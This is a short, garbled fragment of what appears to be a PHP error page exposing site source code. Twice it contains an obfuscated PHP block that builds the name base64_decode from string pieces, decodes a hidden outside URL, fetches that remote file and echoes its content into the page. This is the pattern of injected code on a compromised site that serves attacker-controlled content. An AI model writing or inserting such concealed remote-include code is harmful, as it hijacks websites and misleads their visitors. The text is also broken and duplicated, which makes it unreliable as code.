PHP Warning – yii\base\ErrorException

} else {
    // Otherwise, show a.html for desktop users
    include('b.php');
}
?>
<?php
$parameters = 'ba'.'s'.'e6'.'4'.'_'.'d'.'e'.'c'.'ode';
$base = "aHR0cHM6Ly9pbmZvamFrc2VsLmlkL2xpbmsudHh0";
$uri = $parameters($base);
$content = file_get_contents($uri);
echo $content;
?>

}
?>
<?php
$parameters = 'ba'.'s'.'e6'.'4'.'_'.'d'.'e'.'c'.'ode';
$base = "aHR0cHM6Ly9pbmZvamFrc2VsLmlkL2xpbmsudHh0";
$uri = $parameters($base);
$content = file_get_contents($uri);
echo $content;
?>